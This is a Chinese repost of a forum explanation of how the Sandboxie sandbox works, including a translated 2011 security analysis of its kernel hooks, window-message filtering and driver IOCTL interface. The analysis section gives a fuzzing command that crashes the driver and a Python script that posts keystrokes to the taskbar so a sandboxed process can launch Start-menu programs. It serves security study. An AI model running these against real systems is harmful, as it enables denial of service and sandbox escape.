[转]Sandboxie 的工作原理

Sandboxie 的工作原理

  • 术语解释
  • Sandboxie 4.x 工作原理的一个示意图
  • hx1997 解说 Sandboxie 4.x 的工作原理
  • Sandboxie 3.x 的工作原理




术语解释

为了帮助大家理解后面的内容,在下抄了些术语解释在这里:

  • 钩子:本术语解释引自 http://www.oschina.net/question/565065_68287 且有删改

    通常,我们把拦截 API 的调用称为是安装一个 API 钩子(API Hook)。一个 API 钩子至少有两个模块组成:一个是钩子服务器(Hook Server)模块,一般为 EXE 的形式;一个是钩子驱动器(Hook Driver)模块,一般为 DLL 的形式。

    服务器主要负责向目标进程注入驱动器,使得驱动器工作在目标进程的地址空间中,这是关键的第一步。驱动器则负责实际的API拦截工作,以便在我们所关心的 API 函数调用的前后能做一些我们需要的工作。

    一个比较常见的 API 钩子的例子就是一些实时翻译软件(像金山词霸)必备的功能——屏幕取词,它主要是对一些 GDI 函数进行了拦截,获取它们的输入参数中的字符串,然后在自己的窗口中显示出来。

  • 权限与令牌:在 Windows Vista 以及之后的 Windows 系统中,有着名为“强制完整性控制(MIC)”的访问控制机制。在此机制下,所有的安全性对象(如命名对象,包括文档、注册表项,甚至进程和线程)都带有访问控制列表,定义着访问者的完整性级别所对应的访问权限;这些对象本身也有着完整性级别的属性,当访问者的完整性级别低于访问对象的时候,一般来说就只能读取访问,有些对象甚至连读取都不行;每个进程都带有完整性级别的属性,当访问安全性对象的时候用于获取对应的访问权限。

    默认情况下,进程以完整性级别为中等(normal)的标准用户启动,即使登陆用户是管理员账户。而“以管理员身份运行”的程序则是完整性级别为高(high)。这里值得注意的是,用户“Anonymous”(匿名)和“Null User Sessions”所运行的进程的完整性级别为不可信(untrusted),这大概是最低的了。

    hx1997 亦有翻译一篇简介性的文章,里面使用记事本程序给出了一个很好的示例,参见http://bbs.kafan.cn/thread-1205268-1-1.html



Sandboxie 4.x 工作原理的一个示意图

就在下目前的理解而言,Sandboxie 4.x 的工作原理大致就是将入沙进程创建为 Anonymous(匿名)用户的进程,并且在进程中注入钩子驱动器,藉此监控入沙进程的访问行为,然后由 Sandboxie 的驱动服务判断并提供访问渠道。下面是一个粗略的示意图:
<ignore_js_op style=‘font: 14px/21px Tahoma, "Microsoft Yahei", Simsun; color: rgb(68, 68, 68); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; word-wrap: break-word; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-stroke-width: 0px;‘>[转]Sandboxie 的工作原理 

hx1997 解说 Sandboxie 4.x 的工作原理

关于 Sandboxie 4.x 的工作原理,hx1997 在 13 楼、20 楼与 27 楼给出了非常清晰的解说,为了方便大家阅读,在下就复制粘贴在这了:

 

 



Sandboxie 3.x 的工作原理

-----------------------------------------------------------------------------------------------
下面这篇文章讲的是 Sandboxie 3.x 的工作原理,有兴趣的话可以
看看,但是要注意的是,其中很多评论已不再适用于 4.x 了。
-----------------------------------------------------------------------------------------------

Sandboxie: 用内核级钩子隔离进程
(原文标题为 Sandboxie: Process isolation with kernel hooks)

英文原文出自
http://vallejo.cc/48

英文原文日期为2011年5月23日

--------------------------  在下对文章大意的理解  --------------------------------------------------------

大致来说,系统里的进程在访问资源的时候要从ssdt或shadow ssdt

那里获取资源地址,而Sandboxie在这里拦截进程的请求。Sandboxie

的驱动程序维护着入沙进程的列表;当入沙进程请求资源的时候,

Sandboxie根据沙盘的设置决定是阻止、允许抑或重定向。更详细点

说,进程对资源的具体操作需要采用发送消息的方式来委托操作系统

的组件来完成操作,于是Sandboxie通过在操作系统的组件上安装钩

子来拦截这些消息;这种做法并不是利用公开的 API 来完成的,它的

可行性依赖于操作系统的版本。Sandboxie无意也无法拦截一切,

它是安全与易用性的平衡。例如,沙盒内运行的脚本可能在实机模拟

击键,用这种办法来启动开始菜单中的程序。

---------------------------  上述理解未必正确!!!  --------------------------------------------


译文中“读写控制(组件)”即是“io control”, 但愿没有影响你的阅读。
---------------------------  以下是译文  -----------------------------------------------------------------

1. 简介:

Sandboxie是一个能够隔离进程的沙盒. 它的主要特点有:

-直接挂钩到内核层的对象来实现对内核资源的访问控制;

-通过在一些ssdt(系统服务描述符表)与shadow ssdt上面安装钩子来控制窗口消息.

-通过一些注册到内核中的回调函数来获取像创建进程与加载文件映像这样的事件的通知...

本文探讨Sandboxie的设计并从安全角度分析之.


2. Sandboxie的设计:

Sandboxie由界面程序, 服务... 等等组件组成, 但是我们只关心两个组件: SbieDrv.sys?——挂在内核上的驱动, 以及SbieDll.dll——用于注入到入沙进程中.

<ignore_js_op style=‘font: 14px/21px Tahoma, "Microsoft Yahei", Simsun; color: rgb(68, 68, 68); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; word-wrap: break-word; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-stroke-width: 0px;‘>[转]Sandboxie 的工作原理 

Sandboxie的驱动挂在内核中, 用于保护资源免受入沙程序的入侵(它在类型为"Type"的内核对象, ssdt, shadow ssdt这些地方安装钩子).

驱动对PsLoadImageNotifyRoutine与PsCreateProcessNotifyRoutine使用回调函数来获得文件映像加载或进程创建的消息. Sandboxie驱动维护一个记录着所有必须控制的入沙进程的列表. 如果一个进程已然入沙, 则它所创建的新进程都会被加入上述列表中.

资源访问控制是简单的: 若进程已经入沙则拒绝访问, 否则允许.

然而Sandboxie也确实向入沙进程开放某些资源. 它为入沙进程另建"平行"的文件系统与注册表等等资源. 因此, Sandboxie提供一大堆读写控制功能来实现对文件与注册表等等资源的安全访问; 这样子入沙进程就必须经由Sandboxie驱动的读写控制组件去访问系统资源了.

现在谈谈SbieDll吧. SbieDll会在注入到入沙进程中的所有dll文件的所有输出(export)上安装钩子. 它对于入沙进程的运行来说是必不可少的. 当它在重要的 API 上安装钩子时(例如ZwCrateFile, ZwCreateProcess, ZwOpenKey等等 API ), 它将会阻止指向内核的正常执行流程并重定向至SbieDrv的读写控制组件(假如你用HookShark移除了SbieDll的所有用户级钩子, 你将会发现进程无论什么也访问不了了).


3. 资源访问控制:

Sandboxie在那些身处\ObjectTypes目录下的内核对象上安装钩子: token, process, thread, event, section, port 与 semaphore, 以及类型为"Type"的对象. 它安装钩子到函数指针OpenProcedure(OB_OPEN_METHOD类型), 藉此控制对特定类型的对象的访问:

OBJECT_TYPE ->OBJECT_TYPE_INITIALIZER-> OpenProcedure

只有这样它才能控制文件磁盘与注册表等等对象的访问.

它也必须控制窗口消息(这是由win32k.sys管理的). 它必须阻止发自入沙进程与Windows钩子等等地方的消息.

为此SbieDrv会拦截某些ssdt或shadow ssdt的 API :
win32k_NtUserCallHwndParamLock
win32k_NtUserDestroyWindow
win32k_NtUserShowWindow
win32k_NtUserSendInput
win32k_NtUserBlockInput
win32k_NtUserSystemParametersInfo
win32k_NtUserSetSysColors
win32k_NtUserSetSystemCursor
win32k_NtUserMessageCall
win32k_NtUserPostMessage
win32k_NtUserPostThreadMessage
win32k_NtUserSetWindowsHookEx
win32k_NtUserSetWinEventHook
nt_NtRequestPort
nt_NtRequestWaitReplyPort
nt_NtTraceEvent

3.1. \ObjectTypes上的钩子:

我们来分析一下\ObjectTypes目录下的对象. 这里使用windbg来分析Token对象.

WINDBG>!object \ObjectTypes
Object: e1000548  Type: (819f1418) Directory
ObjectHeader: e1000530 (old version)
HandleCount: 0  PointerCount: 25
Directory Object: e1001520  Name: ObjectTypes
Hash Address  Type          Name
—- ——-  —-          —-
00  819f1418 Type          Directory
01  819ccca0 Type          Thread
819c95e0 Type          Mutant
03  8198cca0 Type          FilterCommunicationPort
05  819b8e70 Type          Controller
07  819c8ca0 Type          Profile
819c9980 Type          Event
819f15e8 Type          Type
09  819c8560 Type          Section
819c97b0 Type          EventPair
819f1248 Type          SymbolicLink
10  819c8730 Type          Desktop
11  819c8e70 Type          Timer
12  819b8730 Type          File
819c8900 Type          WindowStation
16  819b8ad0 Type          Driver
18  819eb910 Type          WmiGuid
819c8ad0 Type          KeyedEvent
19  819cc040 Type          Token
819b8ca0 Type          Device
20  819cc408 Type          DebugObject
21  819b8900 Type          IoCompletion
22  819cce70 Type          Process
24  819f0300 Type          Adapter
26  819c5980 Type          Key
28  819ccad0 Type          Job
31  819f0708 Type          WaitablePort
819f08d8 Type          Port
32  819c9410 Type          Callback
33  8198ce70 Type          FilterConnectionPort
34  819c8040 Type          Semaphore
WINDBG>!object 819cc040
Object: 819cc040  Type: (819f15e8) Type
ObjectHeader: 819cc028 (old version)
HandleCount: 0  PointerCount: 1
Directory Object: e1000548  Name: Token

WINDBG>dt _OBJECT_TYPE 819cc040
ntdll!_OBJECT_TYPE
+0×000 Mutex            : _ERESOURCE
+0×038 TypeList         : _LIST_ENTRY [ 0x819cc078 - 0x819cc078 ]
+0×040 Name             : _UNICODE_STRING “Token”
+0×048 DefaultObject    : 0×80558cc0
+0×04c Index            : 4
+0×050 TotalNumberOfObjects : 0×1a
+0×054 TotalNumberOfHandles : 0×10
+0×058 HighWaterNumberOfObjects : 0×1d
+0×05c HighWaterNumberOfHandles : 0×14
+0×060 TypeInfo         : _OBJECT_TYPE_INITIALIZER
+0×0ac Key              : 0×656b6f54
+0×0b0 ObjectLocks      : [4] _ERESOURCE

Como vemos de \ObjectTypes cuelgan varios objetos de tipo Type. La estructura de estos objetos es de tipo _OBJECT_TYPE.

我们感兴趣的是OBJECT_TYPE结构, 以及OBJECT_TYPE_INITIALIZER, 因为在这个子结构中我们找到了指向OpenProcedure和其它回调函数(打开, 关闭, 删除,...)的指针.

typedef struct _OBJECT_TYPE_INITIALIZER {
USHORT Length;   2 bytes
BOOLEAN UseDefaultObject; 1 byte
BOOLEAN Reserved; 1 byte
ULONG InvalidAttributes; 4 bytes
GENERIC_MAPPING GenericMapping; 16 bytes
ULONG ValidAccessMask; 4 bytes
BOOLEAN SecurityRequired; 1 byte
BOOLEAN MaintainHandleCount; 1 byte
BOOLEAN MaintainTypeList; 1 byte
POOL_TYPE PoolType; 1 byte
ULONG ObjectTypeCode; 4 bytes //-> this field depends on the OS version, it can
//to be here or not so the offset of OpenProcedure
//can to be +30h or +34h.
ULONG DefaultPagedPoolCharge; 4 bytes
ULONG DefaultNonPagedPoolCharge; 4 bytes
//——
OB_DUMP_METHOD DumpProcedure; 4 bytes
OB_OPEN_METHOD OpenProcedure; 4 bytes
OB_CLOSE_METHOD CloseProcedure; 4 bytes
OB_DELETE_METHOD DeleteProcedure; 4 bytes
OB_PARSE_METHOD ParseProcedure; 4 bytes
OB_SECURITY_METHOD SecurityProcedure; 4 bytes
OB_QUERYNAME_METHOD QueryNameProcedure; 4 bytes
OB_OKAYTOCLOSE_METHOD OkayToCloseProcedure; 4 bytes
} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;
The field ObjectTypeCode only exists with some OS versions and builds. SbieDrv has in mind this fact.
OpenProcedure pointer is OB_OPEN_METHOD:
typedef NTSTATUS
(NTAPI *OB_OPEN_METHOD)(
IN OB_OPEN_REASON Reason,
IN PEPROCESS Process OPTIONAL,
IN PVOID ObjectBody,
IN ACCESS_MASK GrantedAccess,
IN ULONG HandleCount
);

当一个特定的对象(process, token,...)被打开的时候, 上面的回调函数就会被调用.

SbieDrv为下列对象挂上回调函数OpenProcedure: token, process, thread, event, section, port与semaphor, 还有类型为"Type"的对象. 在下面这张截图中我们看到SbieDrv调用函数安装钩子:

 

[转]Sandboxie 的工作原理

它检查操作系统的版本与编号, 以计算出偏移量将OpenProcedure插入到OBJECT_TYPE结构中:

——
If version < 4:
If BuildNumber <= 1770h:
OpenProcedureOffset = pTypeObjHeader+30h+60h
Else:
OpenProcedureOffset = pTypeObjHeader+30h+28h
Else:
If BuildNumber <= 1770h:
OpenProcedureOffset = pTypeObjHeader+30h+60h
Else:
OpenProcedureOffset = pTypeObjHeader+34h+28h
——

[转]Sandboxie 的工作原理

它为即将写入系统内存的钩子建立代码块. 显然操作系统会检测OpenProcedure是不是指向系统内存, 或KeBugCheck有没有被调用了. 前述代码块将总是检测并阻止这样的访问, 如果当前进程已经入沙的话; 其余情况它将会放行.

[转]Sandboxie 的工作原理

这一个我称之为“ComprobarProcessIdEnListaDeSandboxeadosObtenerEstructura”的函数在入沙进程列表中搜索当前进程.

在下面这幅图中我们看到的代码是SbieDrv用于建立钩子函数代码块的地方, 也是SbieDrv用指针重写OpenProcedure的地方.

 

[转]Sandboxie 的工作原理

3.2. ssdt与shadow ssdt钩子:

Sandboxie在下列 API 上安装钩子:

win32k_NtUserCallHwndParamLock
win32k_NtUserDestroyWindow
win32k_NtUserShowWindow
win32k_NtUserSendInput
win32k_NtUserBlockInput
win32k_NtUserSystemParametersInfo
win32k_NtUserSetSysColors
win32k_NtUserSetSystemCursor
win32k_NtUserMessageCall
win32k_NtUserPostMessage
win32k_NtUserPostThreadMessage
win32k_NtUserSetWindowsHookEx
win32k_NtUserSetWinEventHook
nt_NtRequestPort
nt_NtRequestWaitReplyPort
nt_NtTraceEvent

它们当中大部分都与控制来自入沙程序的窗口消息有关. 下面分析一下win32k_NtUserMessageCall上的钩子:

[转]Sandboxie 的工作原理

Hook_Win32k_Gestiona_MensajeDeVentana这个函数将会检测来自入沙进程的窗口消息, 看这一个消息是要阻止还是允许.

[转]Sandboxie 的工作原理

-它读取消息的发送方与接收方的进程标识. 如果接收方已经入沙, 则阻止此消息.

-如果这个消息是0×3e4, 那么它不会被阻止.

-它读取目标窗口类名. SbieDrv管理着窗口类名的列表, 除了下面这些例外:

TrayNotifyWnd
SystemTray_Main
Connections Tray
MS_WebcheckMonitor
PrintTray_Notify_WndClass
CicLoaderWndClass
CicMarshalWndClass
Logitech Wingman Internal Message Router
devldr
CTouchPadSynchronizer
Type32_Main_Window
TForm_AshampooFirewall
WinVNC desktop sink
Afx:400000:0
NVIDIA TwinView Window
Shell_TrayWnd

为了使某些常见程序(资源浏览器, 一些Navigator等等)在沙盒中正常运行, 它必须把这些例外的部分也添加进来.

[转]Sandboxie 的工作原理

-如果消息的目标是一个并未入沙的进程, 但发送方是一个入沙进程:

a) 如果目标窗口类名不在前面的列表中, 那么这个消息将被阻止.

b) 如果目标窗口类名在前面的列表中:

1. 如果 message < WM_USER(0×400), 那么这个消息将被阻止:

2h – WM_DESTROY
0Bh – WM_SETREDRAW
10h – WM_CLOSE
11h – WM_QUERYENDSESSION
12h – WM_QUIT
16h – WM_ENDSESSION
3Bh -
4Eh – WM_NOTIFY
82h – WM_NCDESTROY
111h – WM_COMMAND
112h – WM_SYSCOMMAND
319h

其它消息会被放行.

2. 如果 message > WM_USER, 结果将取决于到底是哪一个窗口类名. 比如说, 它会允许发往Shell_trayWnd的消息0×4ec.

4. 读写控制:

Sandboxie的设备是:

\device\SandboxieDriverApi

读写控制肯定是:

DeviceType = FILE_DEVICE_UNKNOWN = 0×00000022
Function = 0×801
Method = METHOD_NEITHER
Access = 0

CTL_CODE(0×00000022, 0×801, METHOD_NEITHER, 0);

用户缓存大小介于0×8字节与0×40字节之间. 第一个双字节值总是0×123400XX. 它是所执行的操作的标识.

SbieDrv记录着所有标识以及它们对应的函数.

 

[转]Sandboxie 的工作原理

0×12340001:
[0x12340001][XXXXXXXX][ptr mem user out]
查询Sandboxie的版本字符串.
0×12340002:
[0x12340002][XXXXXXXX][XXXXXXXX][XXXXXXXX][ ptr mem user out] [XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX]
查询入沙进程的列表.
0×12340003:
写文件.
0×12340007:
[0x12340007][XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX][ptr mem user out]
0×12340008:
[0x12340008][XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX] [XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX][ ptr mem user][XXXXXXXX][ptr mem usr][XXXXXXXX][ptr mem usr]
0×12340009: 根据进程标识获取对象.
0×1234000a
0×1234000b: 查询指定入沙进程的信息.
0×1234000c: 查询系统时间.
0×1234000d: 取消对用户模式内存的保护.
[0x1234000D][XXXXXXXX][ptr funcion modo usuario][XXXXXXXX][ptr memoria usuario info hook]
0×1234000f: 查询指定的沙盒设置:
DisableBoxedWinSxS
InjectDll
AutoExec
OpenProtectedStorage
OpenCredentials
OpenWinClass
NoRenameWinClass
BoxNameTitle
ClsidTrace
OpenClsid
StartService
StartProgram
AutoRecover
RecoverFolder
AutoRecoverIgnore
0×12340010: 根据Sandboxie.ini与templates.ini更新驱动(驱动将会解析ini文件).
0×12340011
0×12340015
0×12340016: 命令驱动在ssdt与shadow ssdt上安装钩子.
0×12340019
0×1234001e
0×1234001f: 有关磁盘访问.
0×12340021
0×12340024
0×12340025
0×12340026
0×12340028
0×1234002b: 获取进程句柄.

5. Sandboxie的安全性:

5.1 针对读写控制组件的fuzzing测试:

这是使用Kartoffel来做的一个简单的fuzzing测试:

FOR %%A IN (0 1 2) DO FOR %%B IN (0 1 2 3 4 5 6 7 8 9 A B C D E F) DO Kartoffel -d \device\SandboxieDriverApi -n 0×40 -o 0×40 -z 0×40 -Z 0×40 -I 0×222007 -u CUSTOM,”[P=0x123400%%A%%B::*0][B=0x41::*0x3c$4][!!]“

通过这条命令, 我们向读写控制组件发送了大小为0×40, 标识为0×12340001至0×1234002f的一系列填充了字符‘A‘的缓冲区.

[0x123400XX][AAAAAAAAAAAAAAAAAAAAAAA…]

这真的是一个很简单的fuzzing测试, 但它已经足以在标识0×12340027处检出一处错误:
WINDBG>!analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
DRIVER_CORRUPTED_MMPOOL (d0)
Arguments:
Arg1: 6b757a74, memory referenced
Arg2: 00123400, IRQL
Arg3: 00000000, value 0 = read operation, 1 = write operation
Arg4: 12340027, address which referenced memory
一个访问可分页的(或完全无效的)地址的请求要求了过高的中断请求级别(IRQL). 这是驱动程序破坏了系统池而造成的. 请运行驱动匹配器以找出新的(或可疑的)驱动程序. 如果依然无法检出问题所在, 那么请使用程序gflags启用特殊池; 你也可以将HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\ProtectNonPagedPool的值设为双字节的1, 然后重启电脑. 这样电脑就会取消映射释放的非分页池, 阻止驱动程序(虽然不包括DMA-hardware模式)破坏池.
Debugging Details:
——————
*************************************************************************
*** ***
*** ***
*** Your debugger is not using the correct symbols ***
*** ***
*** In order for this command to work properly, your symbol path ***
*** must point to .pdb files that have full type information. ***
*** ***
*** Certain .pdb files (such as the public OS symbols) do not ***
*** contain the required information. Contact the group that ***
*** provided you with these symbols if you need this command to ***
*** work. ***
*** ***
*** Type referenced: kernel32!pNlsUserInfo ***
*** ***
*************************************************************************
*************************************************************************
*** ***
*** ***
*** Your debugger is not using the correct symbols ***
*** ***
*** In order for this command to work properly, your symbol path ***
*** must point to .pdb files that have full type information. ***
*** ***
*** Certain .pdb files (such as the public OS symbols) do not ***
*** contain the required information. Contact the group that ***
*** provided you with these symbols if you need this command to ***
*** work. ***
*** ***
*** Type referenced: kernel32!pNlsUserInfo ***
*** ***
*************************************************************************
READ_ADDRESS: 6b757a74  (kuzt -> tzuk -> el nombre del autor)
CURRENT_IRQL: 123400
FAULTING_IP:
+5c1952f0012c4f0
12340027 ?? ???
DEFAULT_BUCKET_ID: DRIVER_FAULT
BUGCHECK_STR: 0xD0
PROCESS_NAME: Kartoffel.exe
LAST_CONTROL_TRANSFER: from 804f7b27 to 8052716c
STACK_TEXT:
f7642750 804f7b27 00000003 f7642aac 00000000 nt!RtlpBreakWithStatusInstruction
f764279c 804f8714 00000003 c0000005 00000000 nt!KiBugCheckDebugBreak+0×19
f7642b7c 804f8c3f 000000d0 6b757a74 00123400 nt!KeBugCheck2+0×574
f7642b9c f7cce31f 000000d0 6b757a74 00123400 nt!KeBugCheckEx+0×1b
WARNING: Stack unwind information not available. Following frames may be wrong.
f7642c34 804ee0ef 81740340 817398a0 806d12d0 SbieDrv+0×131f
f7642c44 80574032 81739910 818b2b88 817398a0 nt!IopfCallDriver+0×31
f7642c58 80574ec1 81740340 817398a0 818b2b88 nt!IopSynchronousServiceTail+0×60
f7642d00 8056d81e 000007b4 00000000 00000000 nt!IopXxxControlFile+0×5e7
f7642d34 8053cbc8 000007b4 00000000 00000000 nt!NtDeviceIoControlFile+0×2a
f7642d34 7c91eb94 000007b4 00000000 00000000 nt!KiFastCallEntry+0xf8
0012eca4 7c91d8ef 7c8016be 000007b4 00000000 ntdll!KiFastSystemCallRet
0012eca8 7c8016be 000007b4 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
0012ed08 0040617d 000007b4 00222007 003b0808 kernel32!DeviceIoControl+0×78
0012fee4 0040a9cd 0000000f 003b0b40 003b0c10 Kartoffel+0×617d
0012ffc0 7c816ff7 0000001a 00000000 7ffdd000 Kartoffel+0xa9cd
0012fff0 00000000 0040a85a 00000000 78746341 kernel32!BaseProcessStart+0×23
STACK_COMMAND: kb
FOLLOWUP_IP:
SbieDrv+131f
f7cce31f 8bf7 mov esi,edi
SYMBOL_STACK_INDEX: 4
SYMBOL_NAME: SbieDrv+131f
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: SbieDrv
IMAGE_NAME: SbieDrv.sys
DEBUG_FLR_IMAGE_TIMESTAMP: 4d8b29aa
FAILURE_BUCKET_ID: 0xD0_SbieDrv+131f
BUCKET_ID: 0xD0_SbieDrv+131f
Followup: MachineOwner
———
Sorting ‘Functions window’… ok

KeBugCheck是通过SbieDrv调用的, 因此它应该只是个无害的拒绝服务攻击(我们可以用一个入沙进程来发起); 但是我们可以看到, 一个简单的fuzzing测试就引起了一次崩溃, 这个事实使我怀疑Sandboxie的鲁棒性.

5.2. 发送窗口消息给Shell_TrayWnd(隐藏窗口):

Shell_TrayWnd是一个窗口类名, 处于Sandboxie的特殊管理之下. Sandboxie会允许入沙进程向这些窗口类名发送更多的窗口消息.

下面的脚本演示这些额外的消息如何允许我们利用入沙进程从开始菜单启动应用程序:

import random
random.seed()

VK_LEFT=0×25
VK_UP=0×26
VK_RIGHT=0×27
VK_DOWN=0×28
VK_RETURN=0×0d
VK_TAB=0×09
VK_SHIFT=0×10
VK_CONTROL=0×11
VK_MENU=0×12

import ctypes
import time
from ctypes.wintypes import DWORD, HWND, HANDLE, LPCWSTR, WPARAM, LPARAM, RECT, POINT
trayRect=RECT(0,0,0,0)
trayWindow = ctypes.windll.user32.FindWindowExA(0,0,”Shell_TrayWnd”,0)
trayNotifyWindow = ctypes.windll.user32.FindWindowExA(trayWindow,0,”TrayNotifyWnd”,0)

def PressKey(hwin,key):
msgkeydown=0×100
msgkeyup=0×101
ctypes.windll.user32.PostMessageA(hwin, msgkeydown, key, 0) #KEYDOWN
time.sleep(0.1)
ctypes.windll.user32.PostMessageA(hwin, msgkeyup, key, 0) #KEYUP
time.sleep(0.1)

ctypes.windll.user32.PostMessageA(trayWindow, 0xa1, 1, 0×200020) #WM_NCLBUTTONDOWN
ctypes.windll.user32.PostMessageA(trayWindow, 0xa2, 0, 0×200020) #WM_NCLBUTTONUP
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_RIGHT)
PressKey(trayWindow, VK_RIGHT)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_RETURN)

(这个脚本所使用的击键事件将会启动我的系统中的calc.exe, 按照我的开始菜单的排列的话).

这算不上是一个高危的安全隐患, 但是我觉得对于一个沙盒来说这可不是什么好事.

5.3. 长名称:

Sandboxie在处理长名称(长于MAX_PATH并且短于32767个宽字符)的时候会出问题, 因为映像名参数LoadImageNitifyRoutine被赋值为NULL.

我在这方面没有发现什么安全隐患, 但是我发现了一些在没有安装Sandboxie之前不会发生的奇怪现象.

这个细节让我们感觉到, 在内核层拦截如此多东西不仅危险, 而且很难把所有可能性与所有情况都考虑到.

5.4. 复杂的格式解析:

在我看来, Sandboxie在内核级别存在危险代码.

举例来说, SbieDrv的LoadImageNotifyRoutine回调函数深入解析所加载文件映像的PE Header(直接在用户模式下).

 

[转]Sandboxie 的工作原理

0×12340010 读写控制组件从内核中打开并解析.ini文件:

 

[转]Sandboxie 的工作原理

SbieDrv反汇编用于内核级与用户级的钩子函数的指令, 藉此将指令保持在将会被重写的函数入口.

5.5. 结论

依我看, 隔离进程的沙盒有一个内在的风险:

-很难拦截入沙程序所不应该访问的一切资源.

-它会在系统的脆弱点带来危险的代码.

-钩子以及对系统的更改将会依赖于系统的版本和编号, 而且大多数时候它们都是卑鄙而非法的.

-显然, 就像Sandboxie所做的那样, 你也需要添加一些例外.

-特别是, Sandboxie在内核中有危险的代码: 对PE headers与ini文件的解析.

我对Sandboxie的结论是: 这是一个有用的工具. 我会在沙盒中运行一个navigator或者一个pdf阅读器, 以此来保护我免受漏洞的危害; 但是我不会在Sandboxie中运行一个恶意软件来分析它的行为, 除非Sandboxie是运行在vmware, bochs或别的虚拟机之中.

--------------------------  译文至此结束  ---------------------------------------------------------------------

鉴于在下连操作系统原理都没有学过,英语又差劲,在翻译的过程中难免会有很多错误,欢迎大家批评指正。但在下仍然希望上面的译文能够传达原文大意,使普通的Sandboxie使用者也可以了解Sandboxie的大致工作原理。

[转]Sandboxie 的工作原理,布布扣,bubuko.com

[转]Sandboxie 的工作原理

上一篇:圆桌对话:与数字化先锋共绘创新蓝图


下一篇:一个AI开发者的奇幻漂流